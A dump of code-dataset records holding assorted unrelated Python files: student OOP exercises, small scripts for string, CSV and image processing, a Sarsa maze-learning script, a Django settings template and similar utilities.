namespace='accounts')),\n\n url(r'^inventory/',\n include('src.apps.inventory.urls', namespace='inventory')),\n\n url(r'^incidence/',\n include('src.apps.incidence.urls', namespace='incidence')),\n\n url(r'^action/',\n include('src.apps.action.urls', namespace='action')),\n\n url(r'^traces/',\n include('src.apps.traces.urls', namespace='traces')),\n\n url(r'^agent/',\n include('src.apps.agent.urls', namespace='agent')),\n\n url(r'^configuration/',\n include('src.apps.configuration.urls', namespace='configuration')),\n\n)\n","sub_path":"src/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"373130182","text":"class India:\n def alotNumber(self,num):\n self.num=num\n print(self.num)\nclass CarManufacturer(India):\n def makeCar(self,brand,color,price):\n self.brand=brand\n self.color=color\n self.price=price\n print(self.brand,self.color,self.price)\n\nclass Seller(CarManufacturer):\n def CustomerOrder(self,name,mobn):\n print(name, \" \", mobn)\n\nobjseller=Seller()\nobjseller.CustomerOrder(\"aadrika\",1234)\nobjseller.makeCar(\"ford\",\"brown\",100000)\nobjseller.alotNumber(\"mp150789\")\nind=India()\n# ind.alotNumber(12345)\n# int.CustomerOrder(\"aa\",12)\n","sub_path":"day6assignment-26july/26july2021-aadrika-day6assignment/multilevel.py","file_name":"multilevel.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"298222227","text":"class Profile:\n def __init__(self, name, last_name, phone_number, address, email, birthday, age, sex):\n self.name = name\n self.last_name = last_name\n self.phone_number = phone_number\n self.address = address\n self.email = email\n self.birthday = birthday\n self.age = age\n self.sex = sex\n self.information = [self.name, self.last_name, self.phone_number, self.address, self.email, self.birthday,\n self.age, self.sex]\n def __str__(self):\n return f\"{self.information}\"\n\nresult = Profile(\"Vadym\",\"Kuprin\",\"+3806612345678\",\"Kharkiv\",\"kvv.official@gmail.com\", \"04.11.1564\", 24, \"male\")\n\nprint(result)","sub_path":"oop3.py","file_name":"oop3.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"242618090","text":"\"\"\"This program prints the longest sequence of alphabets\"\"\"\nSTRING_INPUT = input()\nSTRING_A = STRING_INPUT + \"!\"\nTEMP = ''\nTEMP_1 = ''\nBEG_VAL = 0\nMOV_VAL = 1\nLEN = len(STRING_A)\nCOUNT = 1\nLENGTH = 1\nwhile MOV_VAL <= LEN-1:\n COUNT = 1\n TEMP = STRING_A[BEG_VAL]\n while STRING_A[BEG_VAL] < STRING_A[MOV_VAL] and MOV_VAL < LEN:\n COUNT = COUNT + 1\n TEMP = TEMP+STRING_A[MOV_VAL]\n BEG_VAL = MOV_VAL\n MOV_VAL = MOV_VAL + 1\n BEG_VAL = MOV_VAL\n MOV_VAL = MOV_VAL + 1\n if COUNT == LENGTH:\n TEMP_1 = TEMP_1\n\n if COUNT > LENGTH:\n LENGTH = COUNT\n TEMP_1 = \"\"\n TEMP_1 = TEMP\nprint(TEMP_1)\n","sub_path":"m4/p2/longest_substring.py","file_name":"longest_substring.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"242236757","text":"import csv\nimport json\n\nwith open('Todas.las.carreras27032018.csv', newline='') as f:\n reader = list(csv.reader(f))\nuniversidad = reader[0].index('Institución')\nestudiantes_mujeres = reader[0].index('Estudiantes Mujeres')\n\n\ndef crear_diccionario(reader):\n ''' Crea un diccionario con las universidades como key\n y la cantidad de estudiantes mujeres como valor\n '''\n datos = {}\n for row in reader[1:]:\n # hago una lista por clave con la cantidad de mujeres de cada informe\n if row[universidad] in datos:\n datos[row[universidad]].append(row[estudiantes_mujeres])\n else:\n datos[row[universidad]] = [row[estudiantes_mujeres]]\n\n for lista in datos.keys():\n datos[lista] = sum(\n list(\n map(\n lambda x: int(x) if x != '' else 0,\n datos[lista]\n )\n )\n )\n # convierto los numeros a int y los blancos a 0, luego los sumo\n return datos\n\n\nconteo = crear_diccionario(reader)\nprint(json.dumps(conteo, indent=4, sort_keys=True, ensure_ascii=False))\n","sub_path":"Practica3/Ej05.py","file_name":"Ej05.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"135253247","text":"import os,sys\nimport pandas as pd\nimport datetime\nimport itertools\nimport math\nimport random\n\nfileSamples = open(sys.argv[1],'r')\n\ncabecera = fileSamples.readline()\nmonths = []\noutput = {}\nnumInitial = 0\n\nfor line in fileSamples:\n\tline = line.strip().split(\"\\t\")\n\tid = line[0]\n\tname = line[1]\n\tdate = line[2]\n\tmonth = date.split(\"/\")[1]+\"-\"+date.split(\"/\")[2]\n\ttry:\n\t\tsamples = output[month]\n\texcept:\n\t\tsamples = {}\n\tsamples[id]=[name,date]\n\n\toutput[month] = samples\n\tnumInitial = numInitial + 1\n\tmonthToDt = datetime.datetime.strptime(month, '%m-%Y').date()\n\tmonths.append(monthToDt)\n\nmonths = sorted(list(set(months)))\n\nnumTotalSamples = float(sys.argv[2])\npercentage = numTotalSamples/numInitial\nsizeGroup = int(sys.argv[3])\n\n\ndef mygrouper(n, iterable):\n\targs = [iter(iterable)] * n\n\treturn ([e for e in t if e != None] for t in itertools.zip_longest(*args))\n\ngroups = list(mygrouper(sizeGroup, months))\n\noutfile = open(sys.argv[4],'a')\nfor group in groups:\n\tall = {}\n\tfor element in group:\n\t\tdate = datetime.datetime.strftime(element,'%m-%Y')\n\t\tmonthD = output[date]\n\t\tall = {**all, **monthD}\n\t#Select randomly\n\tper = math.ceil(float(len(all))*percentage)\n\tkeys = random.sample(list(all), per)\n\tfor key in keys:\n\t\tescribir = key+\"\\t\"+all[key][0]+\"\\t\"+all[key][1]+\"\\n\"\n\t\toutfile.write(escribir)\n\n\noutfile.close()\n","sub_path":"getRandomSamples.py","file_name":"getRandomSamples.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"605705441","text":"# This program does grayscale linear transformation\n\ninputFile = open(\"Girl.pgm\", \"r\")\ncounter = 0\n\noutputFile = open(\"Girl2.pgm\", \"w\")\nfor line in inputFile:\n if counter < 3: # copy the image header\n outputFile.writelines(line)\n counter += 1\n else:\n x = 255 - int(line) # linear transformation\n if x < 0: # truncate grayscale values lower than 0\n x = 0\n outputFile.write(str(x)+\"\\n\")\n counter += 1\n\ninputFile.close()\noutputFile.close()\n","sub_path":"linear-t.py","file_name":"linear-t.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"116966730","text":"#abrir o arquivo com as respostas na variável \"f\"\r\nf = open(\"Pasta4.csv\", \"r\", encoding = \"utf8\")\r\n#criar uma variável \"data\" para receber a leitura dos dados\r\ndata = f.read()\r\n#criar uma variável para receber os dados splitados por quebra de linhas\r\nrows = data.split('\\n')\r\n#abrir o arquivo com o gabarito na variável \"g\"\r\ng = open(\"Pasta3.csv\", \"r\", encoding = \"utf8\")\r\n#criar uma variável \"datas\" para receber a leitura dos dados\r\ndatas = g.read()\r\n#criar uma lista para receber os dados splitados por vírgula\r\nlinhas = datas.split(',')\r\n\r\n#criar uma lista para receber os dados splitados por vírgula\r\nfull_data = []\r\nfor row in rows:\r\n split_row = row.split(',')\r\n full_data.append(split_row)\r\n\r\n#cria a variável count para contar quantas linhas existem no arquivo\r\ncount = 0\r\nnada = ['']\r\nfor row in full_data:\r\n if row != nada:\r\n count += 1\r\n \r\n#cria uma variável para indicar a posição da linha que o script irá rodar\r\naluno = 0\r\n\r\n#cria um loop while enquanto o número de alunos for menor que a quantidade de linhas, irá executar o script\r\nwhile aluno < count:\r\n\r\n #criar uma variável para receber os dados excluindo a possibilidade de iniciar a linha com aspas duplas\r\n lista1 = []\r\n for i in full_data[aluno]:\r\n lista1.append(i.strip('\"\"'))\r\n \r\n \r\n #cirar uma variável para receber apenas as letras das respostas\r\n lista2 = []\r\n for i in lista1:\r\n if i[:2] == \"a)\" or i[:2] == \"b)\" or i[:2] == \"c)\" or i[:2] == \"d)\" or i[:2] == \"e)\" :\r\n lista2.append(i[:1])\r\n\r\n #criar uma lista para receber os dados do gabarito\r\n respostas = []\r\n for i in linhas:\r\n respostas.append(i)\r\n\r\n lst = 0\r\n res = 0\r\n teste = []\r\n\r\n for i in lista2:\r\n if lista2[lst] == respostas[res]:\r\n teste.append(\"certo\")\r\n else:\r\n teste.append(\"errado\")\r\n lst += 1\r\n res += 1\r\n\r\n x = teste.count(\"certo\")\r\n\r\n y = round(x * 0.104,3)\r\n\r\n print(\"ALUNO: %s \\nNOTA: %s\" % (lista1[3], y))\r\n \r\n aluno += 1\r\n","sub_path":"new 2.py","file_name":"new 2.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"479365003","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 30 09:36:52 2018\n\n@author: sugino0708\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# 初期位置での迷路の様子\n \n# 図を描く大きさと、図の変数名を宣言\nfig = plt.figure(figsize=(5, 5))\nax = plt.gca()\n \n# 赤い壁を描く\nplt.plot([1, 1], [0, 1], color='red', linewidth=2)\nplt.plot([1, 2], [2, 2], color='red', linewidth=2)\nplt.plot([2, 2], [2, 1], color='red', linewidth=2)\nplt.plot([2, 3], [1, 1], color='red', linewidth=2)\n \n# 状態を示す文字S0～S8を描く\nplt.text(0.5, 2.5, 'S0', size=14, ha='center')\nplt.text(1.5, 2.5, 'S1', size=14, ha='center')\nplt.text(2.5, 2.5, 'S2', size=14, ha='center')\nplt.text(0.5, 1.5, 'S3', size=14, ha='center')\nplt.text(1.5, 1.5, 'S4', size=14, ha='center')\nplt.text(2.5, 1.5, 'S5', size=14, ha='center')\nplt.text(0.5, 0.5, 'S6', size=14, ha='center')\nplt.text(1.5, 0.5, 'S7', size=14, ha='center')\nplt.text(2.5, 0.5, 'S8', size=14, ha='center')\nplt.text(0.5, 2.3, 'START', ha='center')\nplt.text(2.5, 0.3, 'GOAL', ha='center')\n \n# 描画範囲の設定と目盛りを消す設定\nax.set_xlim(0, 3)\nax.set_ylim(0, 3)\nplt.tick_params(axis='both', which='both', bottom='off', top='off',\n labelbottom='off', right='off', left='off', labelleft='off')\n \n# 現在値S0に緑丸を描画する\nline, = ax.plot([0.5], [2.5], marker=\"o\", color='g', markersize=60)\n\n# 初期の方策を決定するパラメータtheta_0を設定\n \n# 行は状態0～7、列は移動方向で↑、→、↓、←を表す\ntheta_0 = np.array([[np.nan, 1, 1, np.nan], # s0\n [np.nan, 1, np.nan, 1], # s1\n [np.nan, np.nan, 1, 1], # s2\n [1, 1, 1, np.nan], # s3\n [np.nan, np.nan, 1, 1], # s4\n [1, np.nan, np.nan, np.nan], # s5\n [1, np.nan, np.nan, np.nan], # s6\n [1, 1, np.nan, np.nan], # s7、※s8はゴールなので、方策はなし\n ])\n\n# 初期の行動価値関数Qを設定\n\n[a, b] = theta_0.shape #行と列の数を取得\nQ = np.random.rand(a,b) * theta_0 #*theta_0をすることで壁方向がnanになる\n\n\"\"\"\n価値反復法の強化学習では、常に行動価値の最大を取るように行動させるのではなく\nときにはランダムに行動させる（未知の領域探検）必要があり、これを探査と利用のトレードオフと呼ぶ\n\n確率的に貪欲法に従った行動を取るようにするε-greedy法を採用する\n\"\"\"\n\n#方策パラメータtheta_0をランダム方策piに変換する関数の定義\n\ndef simple_convert_into_pi_from_theta(theta):\n \n [m, n] = theta.shape #行列のサイズを取得\n pi = np.zeros(m, n)\n for i in range(0, m):\n pi[i, :] = theta[i, :]/ np.nansum(theta[i, :]) #単純な割合の計算\n \n pi = np.nan_to_num(pi) #nan->0\n \n return pi\n\n# ε-greedy法の実装\n\ndef get_action_and_s_next(s, Q, epsilon, pi_0):\n direction =[\"up\", \"right\", \"down\", \"left\"]\n \n #行動を決める\n if np.random.rand() < epsilon:\n # ランダムに冒険\n next_direction = np.random.choice(direction, p=pi_0[s, :])\n else:\n #　Qの最大値の行動を取る\n next_direction = direction[np.nanargmax(Q[s, :])]\n\n #決めた行動で次の状態を求める\n #s_nextの値はマスの大きさに依存する固有の処理\n if next_direction == \"up\":\n action = 0\n s_next = s - 3\n elif next_direction == \"right\":\n action = 1\n s_next = s + 1\n elif next_direction == \"down\":\n action = 2\n s_next = s + 3\n elif next_direction == \"left\":\n action = 3\n s_next = s - 1\n \n return [action, s_next]\n\n\"\"\"\n行動価値関数の更新アルゴリズム\n\nいくつか存在しているが、ここではSarsa法で更新する。\nState,Action,Reward,State,Actionの各頭文字をとってつけた名。\n\n訓練中の行動価値関数は正しいものではないため、正しいものとの間に誤差がある。\nこの誤差を最小化させるのが訓練の目的。\nこのときTD誤差と呼ばれる誤差が定義され、適当な学習率で０に近づける。\n\"\"\"\n\n#Sarsaによる行動価値関数Qの更新\n\ndef Sarsa(s, a, r, s_next, a_next, Q, eta, gamma):\n #ゴールした場合\n if s_next == 8:\n Q[s, a] = Q[s, a] + eta * (r - Q[s, a])\n else:\n Q[s, a] = Q[s, a] + eta*(r + gamma*Q[s_next, a_next] - Q[s, a])\n \n return Q\n\n#　Sarsaで迷路を解く関数の定義、状態と行動の履歴および更新したQを出力\n#　１ゴール単位\n\ndef goal_maze_ret_s_a_Q(Q, epsilon, eta, gamma, pi_0):\n s = 0 #スタート地点\n s_a_history = [[0, np.nan]] #エージェントの移動を記録するリスト\n \n while(1): #ゴールするまでループ\n #ε-greedy法に従い行動を取る\n [a, s_next] = get_action_and_s_next(s, Q, epsilon, pi_0)\n s_a_history[-1][1] = a #現在の状態に行動をセットする\n \n s_a_history.append([s_next, np.nan]) #行動はまだわからないのでnan\n \n #報酬を与え、次の行動を求める\n if s_next == 8:\n r = 1\n a_next = np.nan\n else:\n r = 0\n [a_next, _] = get_action_and_s_next(s_next, Q, epsilon, pi_0)\n \n #価値関数を更新する\n Q = Sarsa(s, a, r, s_next, a_next, Q, eta, gamma)\n \n #終了判定\n if s_next == 8:\n break\n else:\n s = s_next\n \n return [s_a_history, Q]\n\n#　指定したエピソード分反復して更新する\n\neta = 0.1 #学習率\ngamma = 0.9 #時間割引率\nepsilon = 0.5 #ε-greedy法の初期化\nv = np.nanmax(Q, axis=1) #状態毎に価値の最大値を求める\nis_continue = True\nepisode = 1\n\nwhile is_continue:\n print(\"episode:\" + str(episode))\n \n #epsilonの値をエピソードを深めるごとに少しずつ小さくする\n epsilon = epsilon/2\n \n #Sarsaで迷路を解き、履歴と価値関数を求める\n [s_a_history, Q] = goal_maze_ret_s_a_Q(Q, epsilon, eta, gamma, pi_0)\n \n #状態価値の変化\n new_v = np.nanmax(Q, axis=1) #状態毎に価値の最大値を求める\n print(np.sum(np.abs(new_v - v))) #状態価値の変化を出力\n v = new_v\n \n print(\"迷路を解くのにかかったステップ数は\" + str(len(s_a_history) - 1) + \"です\")\n \n # 100エピソード繰り返す\n episode = episode + 1\n if episode > 100:\n break\n","sub_path":"reinforce_maze3.py","file_name":"reinforce_maze3.py","file_ext":"py","file_size_in_byte":6661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"57960007","text":"import unittest\r\nimport ToBeTested\r\n\r\nclass MyAutoTest ( unittest.TestCase):\r\n def testUpper(self):\r\n x = 'Uri Kimchi was here'\r\n expectedResult = 'URI KIMCHI WAxS HERE'\r\n result = ToBeTested.tUpper(x)\r\n self.assertEqual(result,expectedResult)\r\n\r\n def testLower(self):\r\n x = 'Uri Kimchi was here'\r\n expectedResult = 'uri kimchi was here'\r\n result = ToBeTested.tLower(x)\r\n self.assertEqual(result,expectedResult)\r\n\r\nif __name__ == \"__main__\" :\r\n unittest.main()\r\n","sub_path":"TestScript.py","file_name":"TestScript.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"519264621","text":"class Ciclo:\r\n def __init__(self,numero=5):\r\n self.numero*numero\r\n self.numero2=0 \r\n \r\n def usowhile(self):\r\n # ciclo repetitivo que se ejecuta la condicion se cumple(verdaddero),\r\n # es decir sale por falso \r\n car = input(\"ingrese vocal\")\r\n car = car.lower()\r\n while car not in('a','e','i','o','u'):\r\n car1 = input(\"ingrese vocal\").lower()\r\n \r\n for car in('a','e','i','o','u'):\r\n print(car) \r\n print(\"Felicitaciones su vocal es:{}'.format(car)\")\r\n \r\n \r\n \r\nciclo1= Ciclo()\r\nciclo1.usowhile()\r\nprint(\"fin de uso ciclo\")","sub_path":"ciclo.py","file_name":"ciclo.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"399402501","text":"import json, os\n\nFILES_DIR = \"allinone\"\nPROD_FILE_NAME = \"apps_list.json\"\n\ndef get_file_path(file_name):\n return FILES_DIR + \"/\" + file_name\n\ndef write_to_prod_file(data_to_write):\n\n with open(PROD_FILE_NAME, \"w\") as new_file:\n json.dump(data_to_write, new_file, indent=4)\n \n\ndef get_data_from_file(file_name):\n with open(file_name) as file_to_read:\n data = json.loads(file_to_read.read())\n return data\n\n\n\ndef main():\n files_list = os.listdir(FILES_DIR)\n prod_dict = {}\n\n for file_name in files_list:\n key_name = file_name.split(\".\")[0]\n \n data = get_data_from_file(get_file_path(file_name))\n \n prod_dict[key_name] = data\n\n write_to_prod_file(prod_dict)\n\n\nmain()","sub_path":"socialList/generate_prod_file.py","file_name":"generate_prod_file.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"602117975","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division, print_function, absolute_import, unicode_literals\n\nimport os\nimport sys\nimport urllib\nfrom datetime import timedelta\n\n# Basic\nDJANGO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../'))\nBASE_DIR = DJANGO_ROOT\nPORJECT_ROOT = os.path.dirname(DJANGO_ROOT)\nSITE_NAME = os.path.basename(DJANGO_ROOT)\nSECRET_KEY = '{{ secret_key }}'\nDEBUG = False\nALLOWED_HOSTS = ['*']\nADMINS = (('admin', 'admin@example.com'),)\nAPPLICATION_URL = 'http://example.com'\n\n# Admin\nADMIN_SITE_TITLE = SITE_NAME.capitalize()\nADMIN_SITE_HEADER = u'Production'\nADMIN_SITE_INDEX_TITLE = '%s Admin' % ADMIN_SITE_TITLE\nADMIN_SITE_URL = '/__admin__/'\n\n# Application definition\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n)\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n)\nROOT_URLCONF = 'core.urls'\nWSGI_APPLICATION = 'core.wsgi.application'\n\n# Session\nSESSION_ENGINE = 'django.contrib.sessions.backends.cache'\nSESSION_CACHE_ALIAS = 'default'\n\n# Internationalization\nLANGUAGE_CODE = 'ja'\nTIME_ZONE = 'Asia/Tokyo'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n# Static files (CSS, JavaScript, Images)\nSTATIC_URL = '/'\n# STATIC_ROOT = '%s/static' % DJANGO_ROOT\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n)\n\n# Media\nMEDIA_ROOT = '%s/media' % DJANGO_ROOT\n\n# Template\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': ['%s/templates' % DJANGO_ROOT, ],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.core.context_processors.tz',\n ],\n 'debug': DEBUG,\n },\n },\n]\n\n# fixtures\nFIXTURE_DIRS = ('%s/fixture' % DJANGO_ROOT, )\n\n# Email\n# EMAIL_USE_TLS = True\n# EMAIL_HOST = 'smtp.gmail.com'\n# EMAIL_HOST_USER = ''\n# EMAIL_HOST_PASSWORD = ''\n# EMAIL_PORT = 587\n\n# logging\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\",\n 'datefmt': \"%d/%b/%Y %H:%M:%S\"\n },\n 'request_format': {\n 'format': '%(remote_addr)s \"%(request_method)s '\n '%(path_info)s %(server_protocol)s\" %(http_user_agent)s '\n '%(message)s %(asctime)s',\n }\n },\n 'handlers': {\n 'file': {\n 'level': 'DEBUG',\n 'class': 'logging.handlers.RotatingFileHandler',\n 'filename': '%s/log/django/main.log' % PORJECT_ROOT,\n 'maxBytes': 1024 * 1024 * 5,\n 'backupCount': 5,\n 'formatter': 'verbose'\n },\n # 'mail_admins': {\n # 'level': 'ERROR',\n # 'filters': ['request'],\n # 'class': 'django.utils.log.AdminEmailHandler',\n # 'formatter': 'request_format',\n # }\n },\n 'loggers': {\n 'django': {\n 'handlers': ['file'],\n 'propagate': True,\n 'level': 'DEBUG',\n }\n }\n}\n\n# Misc Vars\n\n# common.config default vars\nDEFAULT_CONFIG = {\n # 'access_control_allow_origin':\n # {'value': '*', 'module': 'unicode',\n # 'description': u'APIレスポンスヘッダーのAccess-Control-Allow-Origin'},\n # 'access_control_allow_headers':\n # {'value': 'Origin, Authorization, Accept, Content-Type', 'module': 'unicode',\n # 'description': u'APIレスポンスヘッダーのAccess-Control-Allow-Headers'},\n # 'access_control_allow_methods':\n # {'value': 'PUT,DELETE,POST,GET,OPTIONS', 'module': 'unicode',\n # 'description': u'APIレスポンスヘッダーのAccess-Control-Allow-Methods'},\n # 'access_control_allow_credentuals':\n # {'value': 'true', 'module': 'unicode',\n # 'description': u'APIレスポンスヘッダーのAccess-Control-Allow-Credentials'},\n}\n","sub_path":"core/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"150718219","text":"import os\nimport torch\nfrom torch import nn\nfrom torch.utils.data import Dataset, DataLoader, Subset\nfrom torchvision import transforms\nfrom PIL import Image\n\nclass HandwrittenDigitsDataset(Dataset):\n def __init__(self, labels_file, images, transform=None, target_transform=None):\n with open(labels_file, 'r') as reader:\n self.labels = reader.readlines()\n self.images = images\n self.transform = transform\n self.target_transform = target_transform\n \n def __len__(self):\n return len(self.labels)\n\n def __getitem__(self, index):\n img_path = os.path.join(self.images, f\"{index}.png\")\n image = Image.open(img_path)\n label = self.labels[index]\n if self.transform:\n image = self.transform(image)\n if self.target_transform:\n label = self.target_transform(label)\n return (image, label)\n\nclass NeuralNetwork(nn.Module):\n def __init__(self):\n super(NeuralNetwork, self).__init__()\n self.flatten = nn.Flatten()\n self.linear_relu_stack = nn.Sequential(\n nn.Linear(28*28, 1024),\n nn.BatchNorm1d(1024),\n nn.ReLU(),\n nn.Dropout(0.2),\n nn.Linear(1024, 1024),\n nn.BatchNorm1d(1024),\n nn.ReLU(), \n nn.Dropout(0.2),\n nn.Linear(1024, 512),\n nn.BatchNorm1d(512),\n nn.ReLU(),\n nn.Dropout(0.2),\n nn.Linear(512, 512),\n nn.BatchNorm1d(512),\n nn.ReLU(),\n nn.Linear(512, 10),\n )\n\n def forward(self, x):\n x = self.flatten(x)\n logits = self.linear_relu_stack(x)\n return logits\n\ndef train_loop(dataloader, model, loss_fn, optimizer):\n size = len(dataloader.dataset)\n\n model.train()\n\n for batch, (X, y) in enumerate(dataloader):\n X, y = X.to(device), y.to(device)\n # Compute prediction and loss\n pred = model(X)\n loss = loss_fn(pred, y)\n\n # Backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if batch % 100 == 0:\n loss, current = loss.item(), batch * len(X)\n print(f\"loss: {loss:>7f} [{current:>5d}/{size:>5d}]\")\n\ndef test_loop(dataloader, model, loss_fn):\n size = len(dataloader.dataset)\n num_batches = len(dataloader)\n test_loss, correct = 0, 0\n\n model.eval()\n\n with torch.no_grad():\n for X, y in dataloader:\n X, y = X.to(device), y.to(device)\n pred = model(X)\n test_loss += loss_fn(pred, y).item()\n correct += (pred.argmax(1) == y).type(torch.float).sum().item()\n\n test_loss /= num_batches\n correct /= size\n print(f\"Test Error: \\n Accuracy: {(100*correct):>0.1f}%, Avg loss: {test_loss:>8f} \\n\")\n\n\nif __name__ == \"__main__\":\n\n train_data = HandwrittenDigitsDataset(\n labels_file=\"data/mnist_ece/train.txt\",\n images=\"data/mnist_ece/train\",\n transform = transforms.Compose([\n transforms.ToTensor(),\n ]),\n target_transform=int\n )\n \n lengths = [50000, 10000]\n train_split, valid_split = torch.utils.data.random_split(train_data, lengths)\n\n batch_size = 128\n epochs = 15\n learning_rate = 1e-1\n\n train_dataloader = DataLoader(\n train_split, batch_size=batch_size, shuffle=True,\n num_workers=2\n )\n valid_dataloader = DataLoader(\n valid_split, batch_size=batch_size,num_workers=2\n )\n\n device = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\n\n model = NeuralNetwork().to(device)\n loss_fn = nn.CrossEntropyLoss()\n optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)\n\n for t in range(epochs):\n print(f\"Epoch {t+1}\\n-------------------------------\")\n train_loop(train_dataloader, model, loss_fn, optimizer)\n test_loop(valid_dataloader, model, loss_fn)\n print(\"Done!\")\n\n","sub_path":"digit.py","file_name":"digit.py","file_ext":"py","file_size_in_byte":3950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"638809035","text":"\"\"\" Django settings for the Bcfg2 server \"\"\"\n\nimport os\nimport sys\nimport Bcfg2.Options\n\ntry:\n import django\n HAS_DJANGO = True\nexcept ImportError:\n HAS_DJANGO = False\n\n# required for reporting\ntry:\n import south # pylint: disable=W0611\n HAS_SOUTH = True\nexcept ImportError:\n HAS_SOUTH = False\n\nDATABASES = dict()\n\n# Django < 1.2 compat\nDATABASE_ENGINE = None\nDATABASE_NAME = None\nDATABASE_USER = None\nDATABASE_PASSWORD = None\nDATABASE_HOST = None\nDATABASE_PORT = None\n\nTIME_ZONE = None\n\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\n\nMEDIA_URL = '/site_media/'\n\n\ndef _default_config():\n \"\"\" get the default config file. returns /etc/bcfg2-web.conf,\n UNLESS /etc/bcfg2.conf exists AND /etc/bcfg2-web.conf does not\n exist. \"\"\"\n optinfo = dict(cfile=Bcfg2.Options.CFILE,\n web_cfile=Bcfg2.Options.WEB_CFILE)\n setup = Bcfg2.Options.OptionParser(optinfo, quiet=True)\n setup.parse(sys.argv[1:], do_getopt=False)\n if (not os.path.exists(setup['web_cfile']) and\n os.path.exists(setup['cfile'])):\n return setup['cfile']\n else:\n return setup['web_cfile']\n\nDEFAULT_CONFIG = _default_config()\n\n\ndef read_config(cfile=DEFAULT_CONFIG, repo=None, quiet=False):\n \"\"\" read the config file and set django settings based on it \"\"\"\n # pylint: disable=W0602,W0603\n global DATABASE_ENGINE, DATABASE_NAME, DATABASE_USER, DATABASE_PASSWORD, \\\n DATABASE_HOST, DATABASE_PORT, DEBUG, TEMPLATE_DEBUG, TIME_ZONE, \\\n MEDIA_URL\n # pylint: enable=W0602,W0603\n\n if not os.path.exists(cfile) and os.path.exists(DEFAULT_CONFIG):\n print(\"%s does not exist, using %s for database configuration\" %\n (cfile, DEFAULT_CONFIG))\n cfile = DEFAULT_CONFIG\n\n optinfo = Bcfg2.Options.DATABASE_COMMON_OPTIONS\n optinfo['repo'] = Bcfg2.Options.SERVER_REPOSITORY\n # when setting a different config file, it has to be set in either\n # sys.argv or in the OptionSet() constructor AS WELL AS the argv\n # that's passed to setup.parse()\n argv = [Bcfg2.Options.CFILE.cmd, cfile,\n Bcfg2.Options.WEB_CFILE.cmd, cfile]\n setup = Bcfg2.Options.OptionParser(optinfo, argv=argv, quiet=quiet)\n setup.parse(argv)\n\n if repo is None:\n repo = setup['repo']\n\n DATABASES['default'] = \\\n dict(ENGINE=\"django.db.backends.%s\" % setup['db_engine'],\n NAME=setup['db_name'],\n USER=setup['db_user'],\n PASSWORD=setup['db_password'],\n HOST=setup['db_host'],\n PORT=setup['db_port'])\n\n if HAS_DJANGO and django.VERSION[0] == 1 and django.VERSION[1] < 2:\n DATABASE_ENGINE = setup['db_engine']\n DATABASE_NAME = DATABASES['default']['NAME']\n DATABASE_USER = DATABASES['default']['USER']\n DATABASE_PASSWORD = DATABASES['default']['PASSWORD']\n DATABASE_HOST = DATABASES['default']['HOST']\n DATABASE_PORT = DATABASES['default']['PORT']\n\n # dropping the version check. This was added in 